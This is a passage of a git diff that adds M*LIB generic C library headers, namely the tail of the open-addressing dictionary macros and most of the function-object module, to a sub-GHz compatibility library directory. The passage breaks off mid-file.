+        && (M_CALL_OOR_EQUAL(key_oplist, d->data[i].key, M_D1CT_OA_EMPTY)     \
+         ||  M_CALL_OOR_EQUAL(key_oplist, d->data[i].key, M_D1CT_OA_DELETED))) { \
+      i--;                                                                    \
+    }                                                                         \
+    it->index = i;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(dict_it_t it, const dict_t d)                            \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(d);                                                    \
+    M_ASSERT (it != NULL);                                                    \
+    it->dict = d;                                                             \
+    it->index = d->mask+1;                                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const dict_it_t it)                                       \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_D1CT_OA_CONTRACT (it->dict);                                            \
+    return it->index > it->dict->mask;                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(dict_it_t it)                                              \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_D1CT_OA_CONTRACT (it->dict);                                            \
+    size_t i = it->index;                                                     \
+    do {                                                                      \
+      i++;                                                                    \
+    } while (M_LIKELY (i <= it->dict->mask) &&                                \
+             M_UNLIKELY ((M_CALL_OOR_EQUAL(key_oplist, it->dict->data[i].key, M_D1CT_OA_EMPTY) \
+                          || M_CALL_OOR_EQUAL(key_oplist, it->dict->data[i].key, M_D1CT_OA_DELETED)))) ; \
+    it->index = i;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _previous)(dict_it_t it)                                          \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_D1CT_OA_CONTRACT (it->dict);                                            \
+    /* if index was 0, the operation will overflow, and stops the loop */     \
+    size_t i = it->index - 1;                                                 \
+    while (i <= it->dict->mask &&                                             \
+           (M_CALL_OOR_EQUAL(key_oplist, it->dict->data[i].key, M_D1CT_OA_EMPTY) \
+            || M_CALL_OOR_EQUAL(key_oplist, it->dict->data[i].key, M_D1CT_OA_DELETED))) { \
+      i--;                                                                    \
+    }                                                                         \
+    it->index = i;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const dict_it_t it)                                      \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    dict_it_t it2;                                                            \
+    M_F(name,_it_set)(it2, it);                                               \
+    M_F(name, _next)(it2);                                                    \
+    return M_F(name, _end_p)(it2);                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const dict_it_t it1,const dict_it_t it2)             \
+  {                                                                           \
+    M_ASSERT (it1 != NULL && it2 != NULL);                                    \
+    M_D1CT_OA_CONTRACT (it1->dict);                                           \
+    M_D1CT_OA_CONTRACT (it2->dict);                                           \
+    return it1->dict == it2->dict && it1->index == it2->index;                \
+  }                                                                           \
+                                                                              \
+  M_INLINE it_deref_t *                                                       \
+  M_F(name, _ref)(const dict_it_t it)                                         \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_ASSERT(!M_F(name, _end_p)(it));                                         \
+    M_D1CT_OA_CONTRACT (it -> dict);                                          \
+    const size_t i = it->index;                                               \
+    M_ASSERT (i <= it->dict->mask);                                           \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, it->dict->data[i].key, M_D1CT_OA_EMPTY)); \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, it->dict->data[i].key, M_D1CT_OA_DELETED)); \
+    return &it->dict->data[i] M_IF(isSet)(.key, );                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE const  it_deref_t *                                                \
+  M_F(name, _cref)(const dict_it_t it)                                        \
+  {                                                                           \
+    return M_CONST_CAST(it_deref_t, M_F(name, _ref)(it));                     \
+  }                                                                           \
+                                                                              \
+  M_D1CT_FUNC_ADDITIONAL_DEF2(name, key_type, key_oplist, value_type, value_oplist, isSet, dict_t, dict_it_t, it_deref_t) \
+  M_IF(isSet)(M_EAT, M_D1CT_OA_DEF_BULK)(name, key_type, key_oplist, value_type, value_oplist, isSet, coeff_down, coeff_up, dict_t, dict_it_t, it_deref_t)
+
+
+// Number of loads to perform in advance
+#ifndef M_USE_MAX_PREFETCH
+#define M_USE_MAX_PREFETCH 16
+#endif
+
+// WIP. Only if isSet is false for the time being
+#define M_D1CT_OA_DEF_BULK(name, key_type, key_oplist, value_type, value_oplist, isSet, coeff_down, coeff_up, dict_t, dict_it_t, it_deref_t) \
+                                                                              \
+M_P(void, name, _bulk_get, unsigned n, value_type val[M_VLA(n)], dict_t dict, key_type const key[M_VLA(n)], value_type def) \
+{                                                                             \
+  M_D1CT_OA_CONTRACT (dict);                                                  \
+  M_UNUSED_CONTEXT();                                                         \
+  size_t h[M_USE_MAX_PREFETCH];                                               \
+  M_F(name, _pair_ct) *data = dict->data;                                     \
+  const size_t mask = dict->mask;                                             \
+  const unsigned num = M_MIN(M_USE_MAX_PREFETCH, n);                          \
+  for(unsigned i = 0 ; i < num; i++) {                                        \
+    h[i] = M_CALL_HASH(key_oplist, key[i]) & mask;                            \
+    M_PREFETCH(&data[h[i]]);                                                  \
+  }                                                                           \
+  for (unsigned i = 0; i < n; i++) {                                          \
+    size_t s = 1, p = h[i % M_USE_MAX_PREFETCH];                              \
+    if (i+M_USE_MAX_PREFETCH < n) {                                           \
+      h[i % M_USE_MAX_PREFETCH] = M_CALL_HASH(key_oplist, key[i+M_USE_MAX_PREFETCH]) & mask; \
+      M_PREFETCH(&data[h[i % M_USE_MAX_PREFETCH]]);                           \
+    }                                                                         \
+    while (true) {                                                            \
+      if (M_LIKELY (M_CALL_EQUAL(key_oplist, data[p].key, key[i]))) {         \
+        M_CALL_SET(value_oplist, val[i], data[p].value);                      \
+        break;                                                                \
+      }                                                                       \
+      if (M_LIKELY (M_CALL_OOR_EQUAL (key_oplist, data[p].key, M_D1CT_OA_EMPTY)) ) { \
+        M_CALL_SET(value_oplist, val[i], def);                                \
+        break;                                                                \
+      }                                                                       \
+      p = (p + M_D1CT_OA_PROBING(s)) & mask;                                  \
+      M_ASSERT(p <= mask);                                                    \
+    }                                                                         \
+  }                                                                           \
+}                                                                             \
+                                                                              \
+M_P(void, name, _bulk_set, dict_t dict, unsigned n, value_type const val[M_VLA(n)], key_type const key[M_VLA(n)]) \
+{                                                                             \
+  M_D1CT_OA_CONTRACT (dict);                                                  \
+  size_t h[M_USE_MAX_PREFETCH];                                               \
+  const unsigned num = M_MIN(M_USE_MAX_PREFETCH, n);                          \
+  for(unsigned i = 0 ; i < num; i++) {                                        \
+    h[i] = M_CALL_HASH(key_oplist, key[i]);                                   \
+    M_PREFETCH(&dict->data[h[i] & dict->mask]);                               \
+  }                                                                           \
+                                                                              \
+  for (unsigned i = 0; i < n; i++) {                                          \
+    size_t p = h[i % M_USE_MAX_PREFETCH] & dict->mask;                        \
+    if (i+M_USE_MAX_PREFETCH < n) {                                           \
+      h[i % M_USE_MAX_PREFETCH] = M_CALL_HASH(key_oplist, key[i+M_USE_MAX_PREFETCH]); \
+      M_PREFETCH(&dict->data[h[i % M_USE_MAX_PREFETCH] & dict->mask]);        \
+    }                                                                         \
+    if (M_UNLIKELY (M_CALL_EQUAL(key_oplist, dict->data[p].key, key[i]))) {   \
+      M_CALL_SET(value_oplist, dict->data[p].value, val[i]);                  \
+      continue;                                                               \
+    }                                                                         \
+    /* Search loop for insertion */                                           \
+    size_t s = 1;                                                             \
+    size_t delPos = SIZE_MAX;                                                 \
+    while (M_UNLIKELY (!M_CALL_OOR_EQUAL (key_oplist, dict->data[p].key, M_D1CT_OA_EMPTY)) ) { \
+      if (M_CALL_EQUAL(key_oplist,  dict->data[p].key, key[i])) {             \
+        M_CALL_SET(value_oplist, dict->data[p].value, val[i]);                \
+        goto next;                                                            \
+      }                                                                       \
+      if (M_CALL_OOR_EQUAL (key_oplist, dict->data[p].key, M_D1CT_OA_DELETED) \
+          && (delPos == SIZE_MAX))                                            \
+        delPos = p;                                                           \
+      p = (p + M_D1CT_OA_PROBING(s)) & dict->mask;                            \
+    }                                                                         \
+    /* Add new item */                                                        \
+    if (delPos != SIZE_MAX) {                                                 \
+      p = delPos;                                                             \
+      dict->count_delete --;                                                  \
+    }                                                                         \
+    M_CALL_INIT_SET(key_oplist, dict->data[p].key, key[i]);                   \
+    M_CALL_INIT_SET(value_oplist, dict->data[p].value, val[i]);               \
+    dict->count++;                                                            \
+    dict->count_delete ++;                                                    \
+                                                                              \
+    if (M_UNLIKELY (dict->count_delete >= dict->upper_limit)) {               \
+      size_t newSize = dict->mask+1;                                          \
+      if (dict->count > (dict->mask / 2)) {                                   \
+        newSize += newSize;                                                   \
+        if (M_UNLIKELY_NOMEM (newSize <= dict->mask+1)) {                     \
+          M_MEMORY_FULL(char, (size_t)-1);                                    \
+        }                                                                     \
+      }                                                                       \
+      M_F(name,_i_resize_up)M_R(dict, newSize, true);                         \
+    }                                                                         \
+  next:                                                                       \
+    (void)0;                                                                  \
+  }                                                                           \
+  M_D1CT_OA_CONTRACT (dict);                                                  \
+}                                                                             \
+                                                                              \
+                                                                              \
+M_P(void, name, _bulk_update, dict_t dict, unsigned n, value_type val[M_VLA(n)], key_type const key[M_VLA(n)], value_type def, \
+                        void (*update)(dict_t dict, key_type const key, value_type *storedval, value_type *newval)) \
+{                                                                             \
+  M_D1CT_OA_CONTRACT (dict);                                                  \
+  size_t h[M_USE_MAX_PREFETCH];                                               \
+  const unsigned num = M_MIN(M_USE_MAX_PREFETCH, n);                          \
+  for(unsigned i = 0 ; i < num; i++) {                                        \
+    h[i] = M_CALL_HASH(key_oplist, key[i]);                                   \
+    M_PREFETCH(&dict->data[h[i] & dict->mask]);                               \
+  }                                                                           \
+                                                                              \
+  for (unsigned i = 0; i < n; i++) {                                          \
+    size_t p = h[i % M_USE_MAX_PREFETCH] & dict->mask;                        \
+    if (i+M_USE_MAX_PREFETCH < n) {                                           \
+      h[i % M_USE_MAX_PREFETCH] = M_CALL_HASH(key_oplist, key[i+M_USE_MAX_PREFETCH]); \
+      M_PREFETCH(&dict->data[h[i % M_USE_MAX_PREFETCH] & dict->mask]);        \
+    }                                                                         \
+    if (M_UNLIKELY (M_CALL_EQUAL(key_oplist, dict->data[p].key, key[i]))) {   \
+      update (dict, key[i], &dict->data[p].value, &val[i]);                   \
+      continue;                                                               \
+    }                                                                         \
+    /* Search loop for insertion */                                           \
+    size_t s = 1;                                                             \
+    size_t delPos = SIZE_MAX;                                                 \
+    while (M_UNLIKELY (!M_CALL_OOR_EQUAL (key_oplist, dict->data[p].key, M_D1CT_OA_EMPTY)) ) { \
+      if (M_CALL_EQUAL(key_oplist,  dict->data[p].key, key[i])) {             \
+      update (dict, key[i], &dict->data[p].value, &val[i]);                   \
+        goto next;                                                            \
+      }                                                                       \
+      if (M_CALL_OOR_EQUAL (key_oplist, dict->data[p].key, M_D1CT_OA_DELETED) \
+          && (delPos == SIZE_MAX))                                            \
+        delPos = p;                                                           \
+      p = (p + M_D1CT_OA_PROBING(s)) & dict->mask;                            \
+    }                                                                         \
+    /* Add new item */                                                        \
+    if (delPos != SIZE_MAX) {                                                 \
+      p = delPos;                                                             \
+      dict->count_delete --;                                                  \
+    }                                                                         \
+    M_CALL_INIT_SET(key_oplist, dict->data[p].key, key[i]);                   \
+    M_CALL_INIT_SET(value_oplist, dict->data[p].value, def);                  \
+    update (dict, key[i], &dict->data[p].value, &val[i]);                     \
+    dict->count++;                                                            \
+    dict->count_delete ++;                                                    \
+                                                                              \
+    if (M_UNLIKELY (dict->count_delete >= dict->upper_limit)) {               \
+      size_t newSize = dict->mask+1;                                          \
+      if (dict->count > (dict->mask / 2)) {                                   \
+        newSize += newSize;                                                   \
+        if (M_UNLIKELY_NOMEM (newSize <= dict->mask+1)) {                     \
+          M_MEMORY_FULL(char, (size_t)-1);                                    \
+        }                                                                     \
+      }                                                                       \
+      M_F(name,_i_resize_up)M_R(dict, newSize, true);                         \
+    }                                                                         \
+  next:                                                                       \
+    (void)0;                                                                  \
+  }                                                                           \
+  M_D1CT_OA_CONTRACT (dict);                                                  \
+}                                                                             \
+
+/******************************** INTERNAL ***********************************/
+
+#if M_USE_SMALL_NAME
+#define DICT_DEF2 M_DICT_DEF2
+#define DICT_DEF2_AS M_DICT_DEF2_AS
+#define DICT_OA_DEF2 M_DICT_OA_DEF2
+#define DICT_OA_DEF2_AS M_DICT_OA_DEF2_AS
+#define DICT_SET_DEF M_DICT_SET_DEF
+#define DICT_SET_DEF_AS M_DICT_SET_DEF_AS
+#define DICT_OASET_DEF M_DICT_OASET_DEF
+#define DICT_OASET_DEF_AS M_DICT_OASET_DEF_AS
+#define DICT_OPLIST M_DICT_OPLIST
+#define DICT_SET_OPLIST M_DICT_SET_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-funcobj.h b/lib/subghz_unleashed_compat/include/mlib/m-funcobj.h
new file mode 100644
index 000000000..9d14a752b
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-funcobj.h
@@ -0,0 +1,415 @@
+/*
+ * M*LIB - Function Object module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_FUNCOBJ_H
+#define MSTARLIB_FUNCOBJ_H
+
+#include "m-core.h"
+
+/* Define a function object interface of name 'name'
+ * with a function like retcode, type of param1, type of param 2, ...
+ * USAGE:
+ *    FUNC_OBJ_ITF_DEF(name, retcode type, type of param1, type of param 2, ...)
+ */
+#define M_FUNC_OBJ_ITF_DEF(name, ...)                                         \
+  M_FUNC_OBJ_ITF_DEF_AS(name, M_F(name,_t), __VA_ARGS__)
+
+
+/* Define a function object interface of name 'name'
+ * as the given name name_t
+ * USAGE:
+ *    FUNC_OBJ_ITF_DEF_AS(name, name_t, retcode type, type of param1, type of param 2, ...)
+ */
+#define M_FUNC_OBJ_ITF_DEF_AS(name, name_t, ...)                              \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_IF_NARGS_EQ1(__VA_ARGS__)(M_FUNC0BJ_ITF_NO_PARAM_DEF, M_FUNC0BJ_ITF_PARAM_DEF)(name, name_t, __VA_ARGS__) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a function object instance of name 'name' based on the interface 'base_name'
+ * The function is defined using:
+ * - the prototype of the inherited interface
+ * - the parameters of the function are named as per the list param_list
+ * - the core of the function given in 'callback_core'
+ * - optionals member attributes of the function object can be defined after the core
+ * (just like for tuple & variant: (name, type [, oplist])
+ * 
+ * In the core of the function, parameters are accessible just like a normal function.
+ * A special variable named 'self' that refers to the function object itself
+ * can be used to access member attributes using the syntax self->param1, ...
+ * 
+ * There shall be **exactly** the same number of parameters in 'param_list' than
+ * the number of parameters of the interface 'base_name'
+ *
+ * USAGE/EXAMPLE:
+ *   FUNC_OBJ_INS_DEF(name, base_name, (param1, ...), { return param1 * self->member1 }, (member1, int), ...)
+ */
+#define M_FUNC_OBJ_INS_DEF(name, base_name, param_list, ...)                  \
+  M_FUNC_OBJ_INS_DEF_AS(name, M_F(name,_t), base_name, param_list, __VA_ARGS__)
+
+
+/* Define a function object instance of name 'name' based on the interface 'base_name'
+ * as the given name name_t.
+ * See FUNC_OBJ_INS_DEF for additional details.
+ * 
+ * USAGE/EXAMPLE:
+ *   FUNC_OBJ_INS_DEF_AS(name, name_t, base_name, (param1, ...), { return param1 * self->member1 }, (member1, int), ...)
+ */
+#define M_FUNC_OBJ_INS_DEF_AS(name, name_t, base_name, param_list, ...)       \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_IF_NARGS_EQ1(__VA_ARGS__)(M_FUNC0BJ_INS_NO_ATTR_DEF, M_FUNC0BJ_INS_ATTR_DEF)(name, name_t, base_name, param_list, __VA_ARGS__) \
+  M_END_PROTECTED_CODE
+
+
+/* OPLIST of the instanced function object
+ * USAGE:
+ *  FUNC_OBJ_INS_OPLIST(name, oplist of the attr1, ...)
+ */
+#define M_FUNC_OBJ_INS_OPLIST(...)                                            \
+  M_IF_NARGS_EQ1(__VA_ARGS__)(M_FUNC0BJ_INS_NO_ATTR_OPLIST, M_FUNC0BJ_INS_ATTR_OPLIST_P1)( __VA_ARGS__)
+
+
+
+/*****************************************************************************/
+/******************************** INTERNAL ***********************************/
+/*****************************************************************************/
+
+/* To be used by M_IF_FUNCOBJ macro defined in m-core.
+   NOTE: It is reversed (0 instead of 1) so that it can be used in M_IF reliably.
+*/
+#define M_FUNC0BJ_IS_NOT_DEFINED 0
+
+/* Design Constraints:
+ *  callback SHALL be the first member of the structures in all the definitions.
+ *
+ * Structure definitions are specialized in function of the presence or not
+ * of parameters and/or attributes 
+ * FIXME: How to factorize reasonably well between the definitions?
+ */
+
+/* Specialization of the OPLIST in function if there is at least one member or not */
+#define M_FUNC0BJ_INS_NO_ATTR_OPLIST(name) (                                  \
+  NAME(name),                                                                 \
+  TYPE(M_F(name, _ct)), GENTYPE(struct M_F(name,_s)*),                        \
+  CLEAR(M_F(name, _clear)),                                                   \
+  INIT(M_F(name,_init))                                                       \
+  )
+
+/* Validate the oplist before going further */
+#define M_FUNC0BJ_INS_ATTR_OPLIST_P1(name, ...)                               \
+  M_IF(M_REDUCE(M_OPLIST_P, M_AND, __VA_ARGS__))(M_FUNC0BJ_INS_ATTR_OPLIST_P3, M_FUNC0BJ_INS_ATTR_OPLIST_FAILURE)(name, __VA_ARGS__)
+
+/* Prepare a clean compilation failure */
+#define M_FUNC0BJ_INS_ATTR_OPLIST_FAILURE(name, ...)                          \
+  ((M_LIB_ERROR(ONE_ARGUMENT_OF_FUNC_OBJ_INS_OPLIST_IS_NOT_AN_OPLIST, name, __VA_ARGS__)))
+
+/* Define the oplist of the instance */
+#define M_FUNC0BJ_INS_ATTR_OPLIST_P3(name, ...) (                             \
+  NAME(name),                                                                 \
+  TYPE(M_F(name, _ct)), GENTYPE(struct M_F(name,_s)*),                        \
+  INIT_WITH(M_F(name, _init_with)),                                           \
+  CLEAR(M_F(name, _clear)),                                                   \
+  M_IF_METHOD_ALL(INIT, __VA_ARGS__)(INIT(M_F(name,_init)),),                 \
+  PROPERTIES(( LET_AS_INIT_WITH(1) ))                                         \
+  )
+
+
+/******************************** INTERNAL ***********************************/
+
+/* Specialization of the definition a function object interface of name 'name'
+ * with a function like "retcode (void)" that doesn't have any input parameters.
+ * Define the following types to be used by instance:
+ * - M_F(name, _retcode_ct): internal type of the return code
+ * - M_F(name, _callback_ct): internal type of the callback.
+ * - M_F(name, _ct): synonym of main type used by oplist.
+ */
+#define M_FUNC0BJ_ITF_NO_PARAM_DEF(name, interface_t, retcode)                \
+                                                                              \
+  /* Forward declaration */                                                   \
+  struct M_F(name, _s);                                                       \
+                                                                              \
+  /* Internal type for instance */                                            \
+  typedef retcode M_F(name, _retcode_ct);                                     \
+  /* No parameters to the callback */                                         \
+  typedef retcode(*M_F(name, _callback_ct))(struct M_F(name, _s) *);          \
+                                                                              \
+  typedef struct M_F(name, _s) {                                              \
+     M_F(name, _callback_ct) callback;                                        \
+  } *interface_t;                                                             \
+                                                                              \
+  /* Internal type for oplist & instance */                                   \
+  typedef interface_t M_F(name, _ct);                                         \
+                                                                              \
+  M_INLINE retcode                                                            \
+  M_F(name, _call)(interface_t funcobj)                                       \
+  {                                                                           \
+    M_IF(M_KEYWORD_P(void, retcode)) ( /* nothing */,return)                  \
+      funcobj->callback(funcobj);                                             \
+  }
+
+
+/* Specialization of the definition a function object interface of name 'name'
+ * with a function like retcode, type of param1, type of param 2, ...
+ * with mandatory input parameters.
+ * Define the following types to be used by instance:
+ * - M_F(name, _retcode_ct): internal type of the return code
+ * - M_F(name, _callback_ct): internal type of the callback.
+ * - M_C4(name, _param_, num, _ct) for each parameter defined
+ * - M_F(name, _ct): synonym of main type used by oplist.
+ */
+#define M_FUNC0BJ_ITF_PARAM_DEF(name, interface_t, retcode, ...)              \
+                                                                              \
+  /* Forward declaration */                                                   \
+  struct M_F(name, _s);                                                       \
+                                                                              \
+  /* Internal types for instance */                                           \
+  typedef retcode M_F(name, _retcode_ct);                                     \
+  /* Define types for all parameters */                                       \
+  M_MAP3(M_FUNC0BJ_BASE_TYPE, name, __VA_ARGS__)                              \
+  /* Define callback type with all parameters */                              \
+  typedef retcode(*M_F(name, _callback_ct))(struct M_F(name, _s) *, __VA_ARGS__); \
+                                                                              \
+  typedef struct M_F(name, _s) {                                              \
+     M_F(name, _callback_ct) callback;                                        \
+  } *interface_t;                                                             \
+                                                                              \
+  /* Internal type for oplist & instance */                                   \
+  typedef interface_t M_F(name, _ct);                                         \
+                                                                              \
+  M_INLINE retcode                                                            \
+  M_F(name, _call)(interface_t funcobj                                        \
+                   M_MAP3(M_FUNC0BJ_BASE_ARGLIST, name, __VA_ARGS__) )        \
+  {                                                                           \
+    /* If the retcode is 'void', don't return the value of the callback */    \
+    M_IF(M_KEYWORD_P(void, retcode)) ( /* nothing */,return)                  \
+      funcobj->callback(funcobj M_MAP3(M_FUNC0BJ_BASE_ARGCALL, name, __VA_ARGS__) ); \
+  }
+
+
+/******************************** INTERNAL ***********************************/
+
+/* Specialization of the definition a function object instance of name 'name'
+ * with no member attribute.
+ */
+#define M_FUNC0BJ_INS_NO_ATTR_DEF(name, instance_t, base_name, param_list, callback_core) \
+  typedef struct M_F(name, _s) {                                              \
+    M_C(base_name, _callback_ct) callback;                                    \
+  } instance_t[1];                                                            \
+                                                                              \
+  /* Internal type for oplist */                                              \
+  typedef instance_t M_F(name, _ct);                                          \
+                                                                              \
+  M_INLINE M_C(base_name, _retcode_ct)                                        \
+  M_F(name, _callback)(M_C(base_name, _ct) _self                              \
+                      M_IF_EMPTY(M_OPFLAT param_list)(                        \
+                          /* No param */,                                     \
+                          M_MAP3(M_FUNC0BJ_INS_ARGLIST, base_name, M_OPFLAT param_list) \
+                                                                    )         \
+                      )                                                       \
+  {                                                                           \
+    struct M_F(name, _s) *self = (struct M_F(name, _s) *)_self;               \
+    (void) self; /* maybe unused */                                           \
+    callback_core;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_with)(instance_t obj)                                       \
+  {                                                                           \
+    obj->callback = M_F(name, _callback);                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _clear)(instance_t obj)                                           \
+  {                                                                           \
+    (void) obj; /* nothing to do */                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE struct M_C(base_name, _s) *                                        \
+  M_F(name, _as_interface)(instance_t obj)                                    \
+  {                                                                           \
+    return (struct M_C(base_name, _s) *) obj;                                 \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(instance_t obj)                                            \
+  {                                                                           \
+    obj->callback = M_F(name, _callback);                                     \
+  }                                                                           \
+   
+
+/* Specialization of the definition a function object instance of name 'name'
+ * with mandatory member attribute.
+ * First inject oplist in member attributes.
+ */
+#define M_FUNC0BJ_INS_ATTR_DEF(name, instance_t, base_name, param_list, callback_core, ...) \
+  M_FUNC0BJ_INS_ATTR_DEF_P2(name, instance_t, base_name, param_list, callback_core, M_FUNC0BJ_INJECT_GLOBAL(__VA_ARGS__) )
+
+/* Inject the oplist within the list of arguments */
+#define M_FUNC0BJ_INJECT_GLOBAL(...)                                          \
+  M_MAP_C(M_FUNC0BJ_INJECT_OPLIST_A, __VA_ARGS__)
+
+/* Transform (x, type) into (x, type, oplist) if there is global registered oplist 
+   or (x, type, M_BASIC_OPLIST) if there is no global one,
+   or keep (x, type, oplist) if oplist was already present */
+#define M_FUNC0BJ_INJECT_OPLIST_A( duo_or_trio )                              \
+  M_FUNC0BJ_INJECT_OPLIST_B duo_or_trio
+#define M_FUNC0BJ_INJECT_OPLIST_B( f, ... )                                   \
+  M_IF_NARGS_EQ1(__VA_ARGS__)( (f, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)()), (f, __VA_ARGS__) )
+
+// Test if all third argument of all arguments is an oplist
+#define M_FUNC0BJ_IF_ALL_OPLIST(...)                                          \
+  M_IF(M_REDUCE(M_FUNC0BJ_IS_OPLIST_P, M_AND, __VA_ARGS__))
+// Test if the third argument is an oplist. a is a trio (name, type, oplist)
+#define M_FUNC0BJ_IS_OPLIST_P(a)                                              \
+  M_OPLIST_P(M_RET_ARG3 a)
+
+/* Validate the oplist before going further */
+#define M_FUNC0BJ_INS_ATTR_DEF_P2(name, instance_t, base_name, param_list, callback_core, ...) \
+  M_FUNC0BJ_IF_ALL_OPLIST(__VA_ARGS__)(M_FUNC0BJ_INS_ATTR_DEF_P3, M_FUNC0BJ_INS_ATTR_DEF_FAILURE)(name, instance_t, base_name, param_list, callback_core, __VA_ARGS__)
+
+/* Stop processing with a compilation failure */
+#define M_FUNC0BJ_INS_ATTR_DEF_FAILURE(name, instance_t, base_name, param_list, callback_core, ...) \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(FUNC_OBJ_INS_DEF): at least one of the given argument is not a valid oplist: " #__VA_ARGS__)
+
+/* Expand the Function Object with members */
+#define M_FUNC0BJ_INS_ATTR_DEF_P3(name, instance_t, base_name, param_list, callback_core, ...) \
+  typedef struct M_F(name, _s) {                                              \
+    /* Callback is the mandatory first argument */                            \
+    M_C(base_name, _callback_ct) callback;                                    \
+    /* All the member attribute of the Function Object */                     \
+    M_MAP(M_FUNC0BJ_INS_ATTR_STRUCT, __VA_ARGS__)                             \
+   } instance_t[1];                                                           \
+                                                                              \
+  /* Internal type for oplist */                                              \
+  typedef instance_t M_F(name, _ct);                                          \
+                                                                              \
+  M_FUNC0BJ_CONTROL_ALL_OPLIST(name, __VA_ARGS__)                             \
+                                                                              \
+  M_INLINE M_C(base_name, _retcode_ct)                                        \
+  M_F(name, _callback)(M_C(base_name, _ct) _self                              \
+                      M_IF_EMPTY(M_OPFLAT param_list)(                        \
+                        /* No param */,                                       \
+                        M_MAP3(M_FUNC0BJ_INS_ARGLIST, base_name, M_OPFLAT param_list) \
+                                                                    )         \
+                      )                                                       \
+  {                                                                           \
+    /* Let's go through an uintptr_t to avoid [broken] aliasing detection by compiler */ \
+    uintptr_t __self = (uintptr_t) _self;                                     \
+    struct M_F(name, _s) *self = (struct M_F(name, _s) *)(void*)__self;       \
+    (void) self; /* maybe unused */                                           \
+    callback_core;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_with)(instance_t obj M_MAP(M_FUNC0BJ_INS_ATTR_LIST, __VA_ARGS__)) \
+  {                                                                           \
+    obj->callback = M_F(name, _callback);                                     \
+    M_MAP(M_FUNC0BJ_INS_ATTR_INIT_SET, __VA_ARGS__);                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _clear)(instance_t obj)                                           \
+  {                                                                           \
+    M_MAP(M_FUNC0BJ_INS_ATTR_CLEAR, __VA_ARGS__);                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE struct M_C(base_name, _s) *                                        \
+  M_F(name, _as_interface)(instance_t obj)                                    \
+  {                                                                           \
+    return (struct M_C(base_name, _s) *) obj;                                 \
+  }                                                                           \
+                                                                              \
+  M_IF(M_FUNC0BJ_TEST_METHOD_P(INIT, __VA_ARGS))                              \
+  (                                                                           \
+  M_INLINE void                                                               \
+  M_F(name, _init)(instance_t obj)                                            \
+  {                                                                           \
+    obj->callback = M_F(name, _callback);                                     \
+    M_MAP(M_FUNC0BJ_INS_ATTR_INIT, __VA_ARGS__);                              \
+  }                                                                           \
+  , /* END OF INIT METHOD */ )                                                \
+
+
+
+/* Define a numbered type of a parameter of the callback*/
+#define M_FUNC0BJ_BASE_TYPE(name, num, type)                                  \
+  typedef type M_C4(name, _param_, num, _ct);
+
+/* Define a list of the type of arguments for a function definition */
+#define M_FUNC0BJ_BASE_ARGLIST(name, num, type)                               \
+  M_DEFERRED_COMMA type M_C(param_, num)
+
+/* Define a list of arguments for a function call */
+#define M_FUNC0BJ_BASE_ARGCALL(name, num, type)                               \
+  M_DEFERRED_COMMA M_C(param_, num)
+
+
+/* Helper macros */
+/* arg = (name, type [, oplist]) */
+#define M_FUNC0BJ_INS_ATTR_STRUCT(arg)                                        \
